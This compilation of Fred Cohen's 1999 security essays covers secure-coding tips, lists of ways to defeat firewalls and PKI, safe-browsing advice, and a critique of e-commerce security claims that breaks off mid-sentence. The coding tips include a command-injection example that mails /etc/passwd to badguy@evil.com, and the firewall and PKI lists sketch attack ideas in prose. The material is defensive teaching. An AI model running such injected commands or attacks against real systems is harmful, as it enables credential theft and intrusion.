Fred Cohen & Associates

Specializing in Information Protection Since 1977

The 50 Ways Series

Welcome to the 50 Ways Series
The 50 ways series is a series came about as a result of an interesting experience I had
some years ago - and a more recent experience with the research community. For the
details, see the introductions to "50 Ways to Attack Your World Wide Web Systems" and "50
Ways to Defeat Your Intrusion Detection System" (pointers below). By now, I have come to
realize that 50 ways to do anything will get more readers and have more positive effects
than just about any in-depth study or analytical result. Fear not - I still write the detailed
stuff and do the detailed work, but now I cap it off with little pieces like these:

50 Ways to respond to "Computer Repair..."

How to configure and use your Mac for Mobile computing with reasonable security
20 Tips on Software Security
50 Ways to Defeat Your Firewall
50 Ways to Defeat Your PKI and Other Cryptosystems
195 Famous Computer Exploits - Bill Wall's List
30 Lies About Secure Electronic Commerce: The Truth Exposed
50 Ways to Protect Your Information Assets When Cruising the Internet
50 Ways to Defeat Your Intrusion Detection System
50 Ways to Attack Your World Wide Web Systems

Fred Cohen & Associates

Specializing in Information Protection Since 1977

The 50 Ways Series

20 Tips on Software Security

Copyright (c) Fred Cohen, 1999

Background and Introduction

Designing and implementing secure software systems can be quite complex, but a lot of
improvement can be gained by fairly straight forward methods. In this article, we will explore 20
things you can do to help make your software systems more secure.

Part 1 - Eliminate the foolish flaws:

Many software security lapses happen because of errors and omissions that could be easily
avoided with some attention and effort. These are examples of some of the most common flaws
in software that are easy to avoid if you only take the time and effort to be a little bit careful and
thoughtful.

1 - Input overflows, buffer overruns, and no bounds checking

It is very common for input statements to assume a fixed maximum input length but not enforce
it. For example, we might read input into an array of 128 characters. If we get longer inputs and
find errors, we might debug the program by making the array longer. But this doesn't really
solve the problem. The real problem is that we are using a fixed array but not dealing with the
error condition associated with over-sized inputs. The more secure solution is to make certain
that we have proper error handling on inputs that are too big to fit in the array. We can still
change the size of the array if we need to, but no matter what the size, we still need to check
input lengths and properly handle errors - even if they are 'theoretically' impossible. The reason
we need to handle these cases is that we often depend on other parts of the system for the
conditions that make excessive inputs impossible, but those conditions may change, and we
don't want the program to fail unpredictably just because somebody else changed an array size
or constant. Here's a rather obvious real-world example:

#define SIZE 1024

char x[SIZE];
...
read (0, x, 1023);

2 - Use of external programs via command interpreters

A lot of the time, we find it easier to run an external program than to include the same
functionality that the other program provides in our program. This has lots of problems related
to the other program changing 'underneath' us, and this condition should be considered as well,
but in addition to that, one of the most common security problems comes from the way the
other program is called. Rather than use an 'exec' system call or some other such thing, we are
often lazy and choose to use the command interpreter. Being lazy is sometimes good from a
standpoint of the efficiency of your time, but it is often bad from a security standpoint. Here's
an example of a perl script fragment that has a rather obvious flaw of this sort:

system("glimpse -H /database -y -i $Close $WordPart $d

'$string;$string2;$string3' | nor $dir");

If somebody comes along and makes SIZE smaller in the next program revision, there could be
an input overflow.

If any of these variables contain user input, they might include something like this:
`cat /etc/passwd | /bin/mail badguy@evil.com`

3 - Unnecessary functionality - like access to Vbasic for running programs

In a recent radio show, I heard a caller liken having visual basic functions for file deletion in
Word to having a 'empty the oil' button on the dashboard of every car. This is indeed one of the
reasons we have had some 20,000 new Word viruses in the last 6 months. If you don't need to
provide unlimited function to the user - don't. At a minimum, disable the dangerous functions or
make them hard to access by checking inputs before interpretation.

4 - Including executable content without a good reason

I have a pet peeve. It's the use of Java and ActiveX and similar general purpose capabilities to do
simple things that don't require them. When I hit a Web page that waits for my mouse to move
over the logo before giving me the menu, I feel offended. This type of thing is mostly a way to
show that you know how to use a language feature - it is not a benefit to the user - or even
particularly clever. When in doubt - cut it out.

5 - Train your people in information protection

It doesn't take all that much effort to learn about common security flaws in software. Here's
another one... Two programs open the same file without proper file locking. The result is a race
condition which can leave the file in an inconsistent state. If the file is later used for something
like an access control decision - you may lose. Here's another one... When checking a password,
a program checks the first character first, and returns a failure if it's wrong - otherwise, it looks
at the next character, and so on. The flaw is that the program's decision time can be used to
quickly figure out the password - it's slower if the first character is right than if it's wrong. I can
try all possibilities in a few seconds. there are lots of these sorts of things, and I don't have room
in this article to list very many of them. So take the time to study the subject and train your
people on it, and you will make fewer of the mistakes that others have made before them.

6 - Use skilled, experienced, artisans

People ask me how I came to know of so many ways that systems can go wrong. My answer is
simple - I have been watching them go wrong for a very long time. The longer you write
programs, the more things you know of that can go wrong with them, and the better you tend
to do in avoiding these kinds of mistakes. Ignorance is not bliss - it's full of security holes.

Part 2 - Provide for rapid response:

OK - so everybody makes mistakes. But just because you make them, doesn't mean you have to
let them remain mistakes. By responding quickly and openly, you can (1) fix the problem before
it causes much harm, (2) make your customers believe you care about them, and (3) get
widespread open praise from the security community.

7 - Internet-based software updates - encrypted and authenticated

The fastest low-cost way to update faulty software is to make updates available via the Internet.
But please - don't just let the poor user download any piece of software and shove it into your
program. It will ruin your reputation and make your customers unhappy. Provide for strong
encryption to keep your trade secrets more secure - and strong authentication to keep your
customers from getting false updates and installing them. It's inexpensive, easy to use, faster,
and more reliable than the alternatives.

8 - Find and fix them before they effect the customer

What customers really like to see is faults that are fixed before they cause harm. Just because
you released the product doesn't mean you can't still improve it. Make it part of the support
contract and spend some of your time finding and fixing the faults you missed in the last
distribution. Not only will your product be better, your customers will be happier, and the bug
you fix today won't come back to bite you tomorrow.

9 - Easy reporting of flaws and rapid response to them

When the customer calls, I answer. If they call about a flaw, I try hard to fix it fast and get the
word of the fix out as soon as possible. If it's a security flaw, I try to get the fix out within a
matter of hours - and the faster the better. I want my customers to report faults and I want to
fix them between the time of the first call and the time the next bad result happens. So should
you.

Part 3 - Use reasonable and prudent measures:

Nobody is or can be perfect today when it comes to commercial software. We don't really even
know what perfect means. But just because you can't have the perfect body, that doesn't mean
you should weigh a ton, smoke like a fireplace, and eat cheese-burgers for all three meals every
day. Perfection isn't the goal, but reasonable and prudent is. So what is reasonable and
prudent? It depends on the consequences of a mistake. Here are things that any quality
software developer should include in their process.

10 - Do an independent protection audit before release

If you have a security feature in your product, don't risk embarrassment in front of the whole
world and scores of script kiddies breaking into your systems from all over the world. Have
somebody who knows what they are doing take a look at it first. Have them ask questions and
try things out. The developers of the e-commerce package that was recently released and left
numerous client names, addresses, and credit card numbers available via a simple hotbot search
on the Web did not do themselves a favor by skimping on a security audit. Adding a single
command to an installation script could have saved them a lot of embarrassment and their
customer's customers a lot of time, money, and inconvenience.

11 - Use good change control in your software update process

The US telephone systems have crashed on a national scale several times because the people
who maintained the software didn't have a process in place to compare the last version to the

next version. They certainly would have noticed the change in priority that brought down
several major cities for about a week if they had simply run a standard check. Look for changes,
make sure they make sense, and save yourself a lot of embarrassment and ridicule.

12 - Provide a secure manufacturing and distribution mechanism

When the largest software developer in the world released a computer virus on a major
product's distribution disks, they were not the first, nor were they the last to have their content
corrupted between the test phase and the manufacturing phase. At a minimum, take samples
off the production line before shipment, compare them to the original sources used in the
testing phase, and re-test them with your standard test suite.

13 - Track who does what and attribute faults to root causes

Everybody makes mistakes, but a surprisingly small number of people make a surprisingly large
portion of them, and the majority of the mistakes are very similar to each other. When you track
these things down and find root causes, you can also find ways to eliminate them in the future.
That doesn't mean you will get to perfection, but it sure is nice to be a little bit closer.

Part 4 - Provide a beta-testing process that helps to find the flaws:

Lots of people complain that the customers end up testing the products these days, and I think
it's largely true. The rush to market seems to override all prudence in product quality for some
companies. But I am a firm believer in the alpha test and the beta test.

14 - Internal beta-testing should seek out flaws relentlessly

If you don't have an internal testing team that knows about security testing, get one. The cost of
fixing a security hole in the field is several orders of magnitude more expensive than finding it
before the release

15 - Get some monkeys on your keyboards

You would be amazed at how easily a 2-year old can crash your programs. They don't know
enough to do what you expect, and chances are you don't know enough to anticipate what they
will do. I find flaws by simply shoving random inputs into programs and waiting for them to
crash. There is a good chance that the crash was the result of a flaw that could be exploited for a
security attack.

16 - Build a repeatable testing capability

You need to be able to try it again under identical conditions. Otherwise, you will never be sure
you fixed it when you think you fixed it. Whatever the 'it' is in this case, repeatability and
automation of the testing process is a major key to success and efficiency. If you can't buy it build it.

17 - Get an outside community with an interest in finding and fixing holes

If you can't test it well enough yourself, figure out a way to get outsiders interested enough to
help you find the holes. They will not be as efficient as you will if you try to do it well, but it's
better than nothing.

Part 5 - Just because you can't be perfect doesn't mean you shouldn't try:

18 - Don't throw up your hands - work the issues

I've seen lots of people who simply throw up their hands and think that this problem is too
difficult to solve. I think they are wrong. Even if you can't do it perfectly, you have to do it well
enough to compete with security as a basis.

19 - Use constant quality improvement to enhance your security

Don't do what a major computer manufacturer did. They fixed a bug in a system library that
allowed anyone on the Internet to gain unlimited access to any of their systems, and in the next
version, they undid the fix. Strive to always get better and to propagate your fixes forward in
time. Version control includes propagation of fixes into new versions.

20 - People that complain about 'defensive programming' don't belong

I've heard it a hundred times. 'That's defensive programming' ... 'That can never happen' ...
'Nobody will ever figure that out' ... They are all wrong and they don't belong in a professional
programming environment. Programs that depend on other programs and programmers that
depend on other programmers must understand that the other person's mistake can turn into
your security hole. You need to check your assumptions - at design time - at compile time - at
run time - at testing time - all the time. The same programmers that give up tens of thousands of
CPU cycles to save some programming effort by calling an external program, seem to think it is
inefficient to do bounds checking on input arrays. It's an example of a false efficiency.

Bonus - Every problem is also an opportunity

These days, security is something you can take to the bank, and insecurity is something that can
send you to the poor-house. Think of this article as your chance to make millions of dollars by
doing a better job than your competitors at something that top management is starting to
acknowledge is a higher priority than a paper-clip that beeps on the screen and stops your work
to tell you how to do something you don't actually want to do. Take this opportunity to make a
better product with a lower life-cycle cost, higher return on investment, and no embarrassing
press.

Part 6 - This Week...

Finally, here is an extract of a week's worth of news items related to software security faults
that got out into the public. Try to avoid making this list...

04 May 1999 Two More IE 5 Security Holes

One bug lets people who use your computer see where you've been online and another allows
users who share browsers to access password-protected sites.

02 May 1999: New Code Breaking Device Proposed

An Israeli computer scientist, who is also the S in the widely used RSA algorithm, presented a
paper which describes a device he says will be capable of cracking 512 bit keys.

29 April 1999: ColdFusion's Vulnerability the Target of Increased Hacking

A security hole which resulted from a sample application sent with ColdFusion Application
Server's documentation allows hackers access to all data stored on the web server. Since a new
posting about this vulnerability last week, more than 100 sites using the software have been
hacked.

29 April 1999: Intel Chip's Serial Number Rears its Head Again
While Intel has distributed software which it says hides its chip's embedded serial number, ZeroKnowledge Systems, a Canadian software company, has placed a program on the web which
makes it visible again.

Fred Cohen & Associates

Specializing in Information Protection Since 1977

The 50 Ways Series

50 Ways to Defeat Your Firewalls
My firewalls course covers this and a lot more, and has for many years, so I figured it was
time for a 50-ways article.

1. Use one of the dial-in lines that doesn't go through the

firewall.
2. Use a network connection via a partner that doesn't go
through the firewall.
3. Use the maintenance ports from vendors that don't go
through the firewall.
4. Send in a false update disk that initiates communication
from inside the firewall to you.
5. #4 with a word virus as the delivery system.

6. #4 with a pornography pointer spread sheet as the delivery

method.
7. #4 with a free CD as the delivery method.
8. #4 with a downloadable executable as the delivery
mechanism.
9. #4 with a web page (< img gopher://another
internal.computer.com/0[attack-code]>)
10. #4 with an automated update from Microsoft or Netscape.
11. #4 with a java applet.
12. #4 with an ActiveX program.
13. #4 with a new computer purchase (pre-installed attack).
14. #4 with a processor upgrade (the chip has a Trojan horse).
15. Pay off an insider to start the session to you on the
outside.
16. Trick an insider into starting the session to you on the
outside.
17. Hijack a TCP session that runs through the firewall (for
example using "hunt") and gain insider access.
18. Sniff traffic that passes through the firewall and steal a
password used to gain additional access.
19. Exploit vulnerability in a bastion host and use it to
springboard attacks against the rest of the outside world.
20. #19 but uses it to attack other bastion hosts.
21. #19 but uses it to get into back-end processing systems.
22. #21 and use the back-end systems to get into the rest of
the internal network.
23. #22 and use those systems to open up sessions to the
outside world.
24. #20 or #21 and use those systems to sniff firewall
management traffic and forge firewall configuraiton changes.
25. #20 or #21 and use them to take over firewall
management sessions.
26. Any of the last 10 examples and use them to corrupt
information in the firewall.
27. Any of the last 10 attacks and use them to change firewall
protection settings.
28. Flood the firewall with requests to deny service to the
network.

29. Overwealm the bastion hosts in the firewall to deny

services.
30. Corrupt the domain name system so the firewall can't
deliver traffic properly.
31. Corrupt routing tables so the firewall can't route traffic.
32. Break into one of the systems used by insiders to connect
directly (via modem) to AOL and create a bridge that bypasses
the firewall.
33. Forge IP addresses so the firewall thinks attacks are
coming from innocent locations and cuts off service.
34. Send mal-formed packets to the firewall and cause it to
crash.
35. Set up a popular Web page as an anonymizer and redirect
outbound traffic through your site for observation.
36. Setup a free mail service and sniff all the email passing
through it from people behind the firewall.
37. #36 but alter the email to include Trojan Horses.
38. #36 and add free telnet service via the Web (port 80) so
that insiders can telnet even though it is not 'authorized'.
39. #37 with gopher.
40. #37 with file transfer.
41. #37 with real-audio.
42. #37 with any other service you want to provide as a
firewall bypass.
43. Any of the last few with encrypted services to make it
harder for the people who run the firewall to tell what is
hapenning.
44. Any of the last few but with Trojan horse download
software plug-ins to make it all work.
45. Send in a Trojan horse that dials out to bypass the firewall.
46. Send free 'radio-LAN cards to select insiders who
experiment with new technologies and use a Trojan horse to
get into the Radio LAN.
47. Break into a wire closet and attack a radio-LAN to the
inside LAN.
48. Break into the phone system and redirect telephonically
controlled digital traffic through your location.

49. Convince upper management that they need to day trade

and provide a free day-trading service with your custom
(Trojan horse) software.
50. Provide firewall services to companies who don't want to or
have decided not to provide their own, and expliot at will.

Back to bed - another 20 minutes wasted.

Fred Cohen & Associates

Specializing in Information Protection Since 1977

The 50 Ways Series

50 Ways to Defeat Your PKI and
Other Cryptosystems
Richard Power called me at 4:07 PM and told me he wanted 50 ways to defeat your PKI and
Other Cryptosystems - 50 ways - 53 minutes - no problem. After taking 10 minutes to chat
with Patrice about the coming CSI conference, I started out.

1. Flood the PKI with fictitious user IDs and names. The net
effect is that any typo gets the user one of your pre-positioned
keys. You then decrypt their messages and forward them
encrypted to the intended recipient.
2. Interrupt traffic every 10 or 20 packets by sending a 'reset'
packet to the session. Since PKI uses private key encryption
for high volume transmissions, it depends heavily on
synchronization for its proper operation. Every time you
desynchronize the private key system, new public key
exchanges have to be make to get a new private key - at the
overhead of lots of computer time and exchanged bits. The
system will rapidly become unusable.
3. Buy a public key under a phony name and start sending
viruses with a signature that is traceable to the fictitious
identity. Since key revocation works so poorly today, this will
liekly be trusted for a long time to come.

4. Buy a new phoney public key every few hours and send
viruses with them all.
5. Put a Trojan horse in a Word document to send out the
users' private key file. Actually, this was done earlier in 1999,
so it's not an original idea.
6. Put a virus in a Spread Sheet that sends out the users'
private key file. See #5 above.
7. Break into the user's computer by exploiting some other
weakness and forge their private key use.
8. Break into a user's system and listen to their keystrokes as
they type in the password used to reveal their private key (for
systems that protect the private key file with some other form
of cryptography).
9. Guess the password on the 'locked' private key file stolen
with one of those techniques above.
10. Use a Trojan horse to disable cryptography without telling
the user about it, so that it looks like it is encrypting when it is
not.
11. Revoke the key of a user who is still using their key. This
will cause them to have to re-register again and again and
confuse the whole system over time.
12. Get people to encrypt things you provide them, and use it
to get their private key. This was demonstrated to work in the
early 1980s.
13. Break into a server that stores public keys and change
them to ones you specify.
14. Get into the Internet's DNS system and change the
apparent location of the various key servers on the net. The
whole PKI system will break down as no servers can be found
anymore to verify anything.
15. Crash a few key servers that form the base of the PKI tree
for the users' you want to defeat and they will be unable to
communicate except in plaintext.
16. Observe the time taken to do encryption using peoples'
private keys and analyze the time differentials for different
things encrypted to derive the private key bits.
17. Use network time protocol forgeries to make some
cryptosystems get desynchronized. The overall effect for many

key servers is that they will no longer trust other servers and
refuse to communicate with them.
18. As initial key distribution is done, place an attacking
machine between the machines exchanging keys and do a
man-in-the-middle attack to make each think you are the
other. You will now be permanently in the middle of all their
communication.
19. Use a van-Eck attack to observe the 'secret' messages
before they are encrypted.
20. Use a van-Eck attack to observe the 'secret' messages
after they are decrypted.
21. Use video-viewing to observe the keyboard of the user as
they type in their keys.
22. Use video-viewing to observe the keyboard of the user as
they type in their messages.
23. Put a fake keyboard adapter between their keyboard and
computer and pick up the keys and messages as they are
typed.
24. Break into the manufacturer of the PKI system and place a
Trojan horse into their system. Nobody will ever find it.
25. Pay the companies to put in a Trojan horse.
26. Force people to use key escrow, and then break the escrow
system through legal or extralegal means.
27. Limit key length to only a few hundred bits of key. The
government exploited this one for a long time - and still does.
28. Create a false distribution of a PKI system and put it into
the infrastructure as a replacement for the original. Then
people will download the Trojan version and think they have
the real thing. The 'self-authentication' will of course claim it is
legitimate.
29. Create a clever new crypto-algorithm that has a real subtle
backdoor and get lots of people to use it. You will be able to
exploit it while everyone thinks it's secure.
30. Use a parallel processor to break keys of limited length.
This has been successful against systems of current common
key lengths.
31. Write a computer virus that implements a massively
parallel cryptoanalysis engine for breaking private keys.
Distribute via the Internet.

32. Modify the pseudo-random number generator used by the

cryptosystem to generate keys so that they are relatively easy
to guess. Previous systems had poor random number
generators so that modification was not required.
33. Find a weakness in the random number generator used
today by a popular system and guess lots of real keys in use
today. It's a good bet you can do this if you are smart enough.
34. Cause the systems that generate the pseudo-random
numbers to have less randomness than they are assumed to
have. Then they will generate poor random numbers without
having to do anything special.
35. Generate new private keys for users and plant Trojan
horses in their system to have the new keys registered without
their knowledge or consent. They you will have a copy of the
private key.
36. Generate gobs and gobs of public key traffic and overload
all the servers with requests so that the whole system grinds
to a halt.
37. Generate millions of public keys (they don't even have to
be legitimate) and push them into key servers to cause them
to run out of space and become slow at finding keys.
38. Corrupt the private key distribution packets used to
encrypt sessions so that private keys are wrong.
39. Disrupt the private key distribution process so that session
keys cannot be distributed.
40. Replay private key distribution in place of interrupted
distribution to force old keys to be reused, thus making these
sessions easier to break.
41. Store sessions and break them over a long period of time.
For most current systems, all of the content will be readable
within a few years with parallel processors. For many you can
read them today if you spend enough time and effort.
42. Bribe the person who is using the key to get access to the
private key.
43. During the electronic distribution of the cryptosystem,
corrupt a byte and watch the distribution fail. Do this again
and again and the system will fall into disrepute.

44. Create a false update for the cryptosystem and send it out
to users. When they load the update, it contains a Trojan
horse that defeats the system.
45. Most data exchanged via encryption is stored in plaintext.
Get access to the database where they store the information at
either end and defeat the value of the cryptosystem in
assuring the confidentiality and integrity of the underlying
data.
46. Find one of the many flaws in the cryptographic protocol
used to do key exchange and private key distribution and
exploit it to defeat the cryptosystem. Current cryptographic
protocols have been found to have many vulnerabilities.
47. Convince the user to misuse the cryptosystem - for
example - to use a weaker cryptosystem because it's faster.
48. Corrupt the browser via a Trojan horse so that it makes it
look like the cryptosystem is in use when it is not. For
example, make the lock appear to be locked in Netscape.
49. Break into the certificate server and take the master
certificate. Then you can subvert the whole system without
anyone knowing about it.
50. Publish an article on 50 ways to defeat your PKI and
cryptosystem, thus eroding public confidence in PKI and
making the system less trusted from a public perception
perspective. I think I have done that by now.

It's 4:57 - no problem - I even responded to a few unrelated emails along the way. Time to
email it off to Richard and take the kids to soccer.

Fred Cohen & Associates

Specializing in Information Protection Since 1977

The 50 Ways Series

50 Ways to Protect Your
Information Assets When Cruising
the Internet

CyberCops are particularly vulnerable to exploitation when they are doing investigations on
the Internet. To help them, and others who want to be safer when cruising the Internet,
Fred Cohen and CyberCop.org (Kevin Manson) provide this list of the 50 ways to protect
your information assets when cruising the Internet.

System configuration must be done properly in order to have a modicum of security. Here
are some configuration issues you should address:

1. Use removable media on Internet-connected computers.

With removable media, you can put in the Internet disk when
you are using the Internet, and replace it with the 'secure'
media when doing your investigative work. It means that the
bad actors can't get to your confidential information when
you're on the net and your critical information can't get
messed up by a virus or Trojan horse coming in from off the
Internet.
2. Turn off "sharing" on NT and Windows boxes. Sharing of
files lets Internet users access your disk from anywhere in the
world. With sharing turned off, they have to break in to get at
your system.
3. Turn off Active X, Java, and Javascript. These capabilities
help you make pretty pictures, but they also allow the bad
actors of the Internet to enter your system and do with it what
they will.
4. Use properly configured software to assist in detecting
viruses and malicious code. If your virus scanner can handle it,
have it check for macro viruses in real-time.
5. Keep clean and current copy of system start-up and restore
software handy. This way you can recreate a working system
in a flash and avoid long downtime when you do things like
upgrading explorer versions over the Web and finding out that
your system is locked up.
6. Backup, backup, backup. Yes - keep three copies of the
backups just in case.
7. Keep your software up to date with security-related
changes. For example, without the latest version of your
browser or email program, you may find that when you go to
read email - even before you open up any of the messages,
your system ha been taken over by a remote attacker.

8. Turn off unnecessary Internet service ports. In general, if

you don't know why your system uses a service, you should
not have that service turned on. Every service is a potential
vulnerability.
9. Use a scanning tool to test which ports are turned on. Never
trust the menu-based configuration tool to tell you this sort of
information because many of these tools have errors, some of
which have opened systems up to remote exploitation even
though the user 'did the right thing'.
10. If it's really important to document, print it out. Remember
that paper trails are a lot easier to use and authenticate in
court than electronic media.

Passwords have been a security issue for a long time, and most people still don't know how
to use them safely. You need to know how to create and use passwords that are properly
crafted to the need:

11. If you have anything important on a remote site, use

unique passwords for each online service and site. Otherwise,
someone breaking into or watching one service could use your
password in other services.
12. If you are going to use the same password for multiple
sites, make sure they are not important sites. For example,
whenever I get a password for a remote site that is not
important, I try for user ID guest, password guest. This may
weaken their security, but if they allow it, their security is
already very weak, and it is easy for me to remember and
doesn't give anything away about me or the kinds of
passwords I use for important systems.
13. If you are accessing remote services on the Internet,
remember the passwords can be easily sniffed. Try to avoid
using passwords for Internet-based access.
14. NEVER use a password over the Internet that's the same
password you use on your local systems. That might allow
someone from the Internet to break into your system.
15. Try to get and use one-time authentications of some sort.
These are relatively inexpensive (Deception Toolkit at all.net
has one for free) and very effective.
16. When possible, augment passwords with some other form
of authentication. For example, use TCP wrappers or some

other similar tool to limit the remote IP addresses that can

access a critical system, or use a separate channel to enable
remote login.
17. When you have to change your password, don't do it over
the Internet. It is easily sniffed. If at all possible, do it from
the computer with the password on it.
18. Changing your password regularly is not prudent for all
systems or situations. Consider the real benefit and harm
associated with this activity before doing it haphazardly. Look
at this article for more details.
19. Some passwords are harder to guess than others. Use the
harder to guess ones. Examples of easily guessed passwords
include (1) your name, user ID, or other available information
associated with you, (2) any word or pair of words in any
language, (3) QWERTY or similar keyboard patterns (but not
all keyboard patterns are easy to guess), (4) passwords of less
than 7 keystrokes, (5) passwords with only numbers, only
letters, or the same character repeated.
20. Don't let other folks use your user ID and password and
don't tell anyone your user ID and password. This lets them
fake being you and you are likely to be the one who gets in
trouble if they do something wrong. No legitimate person
responsible for security or systems maintenance needs to
know your password, and there are almost no exceptions to
this rule. (Check your organization's policies in this regard.)

Don't trust remotely obtained software. It can contain Trojan Horses that are potentially
devastating in their effect. Examples of how this has been exploited in the past include but
are by no means limited to (1) causing your system to dial out to a 900 number for Internet
service, (2) stealing your online information, (3) corrupting or destroying information on
your system, (4) turning the computer into a jumping off point to attack other systems, and
(5) placing a Trojan horse in your system to permit remote reentry and exploitation at a
later date.

21. Turn off "autoinstall" features on browsers. Autoinstall

allows remote Web sites to automatically change what your
system does by installing their software.
22. Become familiar with the "processes" that are authorized
to run on your machine and how to check on them. Check
them periodically and whenever you suspect or observe
abnormal system behavior.

23. More viruses spread occurs today as a result of email

attachments than anything else. Be careful how you use email
attachments and who you accept them from. When I don't
know and trust the person sending me an email attachment, I
either ask them to send it in plain text format and not as an
attachment, ask them to FAX it to me, or copy it off of my
system onto a non-networked system and read it there.
24. Don't use Word attachments without Word configured to
disable all macros before execution. Otherwise, you can easily
be attacked by an email.
25. Don't trust excel spreadsheets. They not only give wrong
answers, but they can contain "CALL" macros to attack your
system and there is no mechanism to detect or prevent this
available today.
26. Don't trust any program - whether it comes in source or in
executable format - without seriously considering the potential
implications of its installation and use. Many programs
innocently do things that weaken your security, and in lots of
cases they allow remote exploits against your system.
27. Just because it isn't called a program doesn't mean it isn't
a program. Most information you get is just plain 'data', but
some of it is not, and it is hard to tell the difference unless you
are a real expert. But you can't stop using computers just
because you don't trust them because they are required in
order to get the work done. Just understand that you can get
hurt and prepare to suffer the consequences.

Keep up to date on the information security issues that might effect your system:

28. Subscribe to computer security lists such as NT Bugtraq,

NTSecurity Digest, etc. Read about the newest attacks and
update your system to mitigate them.
29. Keep your system up to date with the newest security
patches for the software you use to cruise the Internet.
30. Realize that computer security requires a systematic, not a
piecemeal, strategy to be effective. 50 ways are only the
beginning.
31. Think like an attacker, how would you attack yourself? You
might read some of the hacker FAQs or try an automated
attack and defense game to get a sense for what people might

try to do to you and how. You might want to see how attackers
think by exploring one of the games on the all.net web site.
32. Don't forget other communications channels that may be
vulnerable, such as voicemail.
33. Ask others who are competent to review or audit your
security practices.
34. Don't forget that critical data may be far more resilient to
degradation or corruption when placed on paper than on
magnetic or optical media.

Use available security technology to your advantage:

35. Become familiar with methods of anonymizing your online

sessions - such as Onion routing, ZKS, anonymizer, and
"mixmaster" type anonymous remailers. Remember that the
bad guys use them (and may run them) too, and don't trust
them alone for anything important.
36. Begin to routinely encrypt any important communications
and encourage (and assist) others in doing so.
37. Whenever you encrypt, always view the encrypted file
before sending it. Encryption systems sometimes don't so what
they say they do.
38. Generate a public/private key pair and let others know how
they may obtain it.
39. Digitally sign e-mail where authenticated identity or
unmodified content is important
40. Digitally sign important files, documents that you believe
others may wish to rely on as to their integrity and
authenticity.

Use uncommon sense:

41. Don't visit the bad-guys' sites except through a properly

concealed and authorized location. Remember that they can
see you when you can see them.
42. Don't go cruising through the seedy side of the Internet
unless you are ready for the seedy side to go cruising through
you.
43. Don't respond to email from lists you haven't signed up to,
especially if they tell you that you can 'unsignup' by sending

them mail. This is how they confirm your email address as

valid.
44. Never post to public bulletin boards or mailing lists unless
you want to get anonymous email from lots of solicitation
places. That's one of the major ways they get email addresses.
45. Unless you are investigating a porn site, don't visit it. You
are likely to get a great deal of follow-up from a very broad
range of sources.
46. The information you place in your Web browser (like your
name, address, organization name, and so forth) are available
to the Web sites you visit. Don't place information there unless
you want it given to every site you visit.
47. Every site you have ever visited may be revealed to any
site you visit.
48. Your system keeps records on most every place you visit.
Many of these records can be remotely accessed, and local
access grants a lot of fine details of when what took place.
49. If the bad guys get into your system, they can get all of
your cryptographic keys, your passwords, and anything else
you have placed on your system.
50. If the bad guys get into your system, they can use your
system to get into other systems it can connect to. This often
includes other computers inside your firewall.

Fred Cohen & Associates

Specializing in Information Protection Since 1977

The 50 Ways Series

30 Lies About Secure Electronic
Commerce: The Truth Exposed UNDER DEVELOPMENT

You are likely to hear all sorts of things about secure electronic commerce these days, and I
figured you might want to know what kind of assertions with limited veracity value are out
there.

The biggest class of lies is that the Web is a place that gives the consumer better
information or somehow levels the playing field between the big money and the little
money. Here are some of the examples:

Lie 1: The Web is a place where you can easily find the best
price. It used to be but it is no longer. Rather, it is a place
where people with advertising dollars can put their prices in
front of you ahead of others - just like it is in paper,
telephones, television, and every other media.
Lie 2: The big search engines reference anybody out there. Not
even close. They reference people who use products that push
Web pages out for referencing, and those who pay for the
service can usually get on the earlier pages of your searches.
Lie 3: The Web is a place where content dominates. It used to
be true, and there is certainly more content on the Web than
anywhere else, but the vast majority of commercial Web sites
today have very limited content and are predominantly
advertising vehicles. Most of what you find is not useful
content and choosing the proper search terms is not as easy
as you are told.
Lie 4: The Internet is a friendly place to voice your opinions.
Who are we trying to kid. The Internet is often very impolite,
insulting, and rude.
Lie 5: The vast majority of the information on the Internet is
truthful and accurate. Highly dubious claim. In my field, I find
that less than 20 percent of the content is accurate to the
standard I require, and as for truthfulness, false advertising
has found a whole new meaning in the Web.
Lie 6: Misinformation and reputations are easily corrected in
the Web. Nothing could be further from the truth. The Internet
is the greatest rumor mill ever created. A lie can spread like
wildfire, but try to correct it, and you will be faces with a huge
uphill battle.
Lie 7: If enough people say it, it's likely to be true. There are
people who assume multiple identities in the Internet so that

they can self-authenticate their lies. They even disagree with

themselves selectively in order to maintain their supposed
independence and authenticity.
Lie 8: The Web promotes democracy. Wrong word - the proper
word for the Internet is anarchy, and more often than not, it is
the anarchy of lies and rumors that rules the Internet.
Lie 9: The Internet is fair to all people of all cultures. Huh! If
anything, the Internet further promotes the use of written
English over all other language as the exclusive way to
communicate for business. The cultural differences between
people fall quickly under the social pressures of the Internet.
Lie 10: Intellectual property will be the same as it has always
been - the Internet is just another printing media. I wish it
were true, but because of the international nature of the
Internet, the laws and ability to enforce intellectual property
simply don't work. People take the property of other peoples'
minds at will and without recourse.

The second biggest class of lies is that some vendor is going to make you safe. Here are
some examples of this one:

Lie 11: Microsoft is going to make you safe. This is perhaps the
most bizarre statement ever concieved by humanity. Just
about every Microsoft product ranks as the most unsafe,
insecure product of its kind available on the market.
Lie 12: A virus scanner will make you safe. No virus scanner
can ever make you safe. The best it can do is to detect some
of the viruses that exist today and some of the viruses that are
yet to exist. This may make you a bit safer, but it only solves a
small subset of the overall set of issues you face.
Lie 13: Your firewall will make you safe. There is no firewall
today, nor is there likely to ever be a firewall that will keep
you safe from attack. Firewalls, like other technologies, can
help to prevent and detect some class of attacks that might
otherwise succeed, but for every now attack that firewalls deal
with, there are hundreds that firewalls fail to protect against.
Lie 14: A router will make you safe. Many people mistake the
function of a router for a firewall in terms of the security

features it provides - but even this limited upgrade is not

accurate. Routers are primarily designed to facilitate proper
flow of traffic and not to prevent, detect, or react to attempts
at subversion.
Lie 15: An intrusion detection system will make you safe.
Current intrusion detection technology is so poor as to be
laughable. Read the "50 Ways to Defeat Your Intrusion Detection System"
article if you don't believe it.
Lie 16: Changes in laws will make you safe. The legal system
doesn't make people safe, if only because it depends on people
who don't understand the detailed issues make all the
decisions. New laws criminalize all sorts of things, and they will
no doubt end up in putting plenty of people in jail, but this
does little to help most victims, and evil less to mitigate
criminal activity.
Lie 17: The police/government will make you safe. The law
enforecement agencies around the world are seriously behind
the times in terms of cyber security issues. For the most part,
if you get stabbed or shot or held up at gunpoint, the police
have a chance at helping you and catching the bad guy - but if
your computer is attacked and you lose a fortune, the odds of
the police helping you out are very nearly zero, and it is likely
that the cost of calling them will far exceed any benefit you
gain from the exercise.
Lie 18: Your consultant will make you safe. Most consultants
are out for one thing - personal income. Most consultants in
computer security know little or nothing about the subject.
Their job is to get you to give them money in exchange for
convincing you that whatever solution they have provided will
